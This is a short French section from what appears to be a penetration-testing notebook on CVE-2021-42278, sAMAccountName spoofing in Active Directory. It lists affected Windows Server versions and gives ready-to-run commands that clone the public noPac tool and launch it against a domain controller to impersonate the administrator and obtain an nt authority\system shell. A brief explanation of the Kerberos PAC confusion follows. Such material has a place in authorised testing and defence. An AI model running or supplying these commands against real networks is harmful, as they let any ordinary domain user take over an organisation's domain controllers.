🆔Usurpation de SAMAccountName

Cette section explique comment la CVE-2021-42278 permet aux attaquants potentiels d'obtenir un accès utilisateur à privilèges élevés (accès au niveau administrateur des contrôleurs de domaine) via un utilisateur à faibles privilèges (tout utilisateur de domaine normal).

Versions concernées

Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2 x64 Systems Service Pack 1 et 2, Windows Server 2008 32-bit Systems Service Pack 2,

Windows Server 2016, Windows Server version 20H2, Windows Server version 2004, Windows Server 2022, Windows Server 2019.

Exploitation

# Téléchargement de l'exploit
git clone https://github.com/Ridter/noPac
cd noPac

# execution de l'exploit
python3 noPac.py <domaine>/<username>:'<password>' -dc-ip <domain controller IP> -shell --impersonate administrator -use-ldap

Si tout se passe comme prévu, l'exécution du script devrait ouvrir une session nt authority\system sur notre machine.

Cette CVE est une vulnérabilité de contournement de sécurité causée par la confusion PAC de Kerberos et l'usurpation d'identité des contrôleurs de domaine.

Il permet aux attaquants potentiels d'usurper l'identité des contrôleurs de domaine en demandant des TGT à Kerberos sans PAC, et au moment où le TGT est émis sans émettre de PAC, l'attaquant peut se faire passer pour un utilisateur hautement privilégié.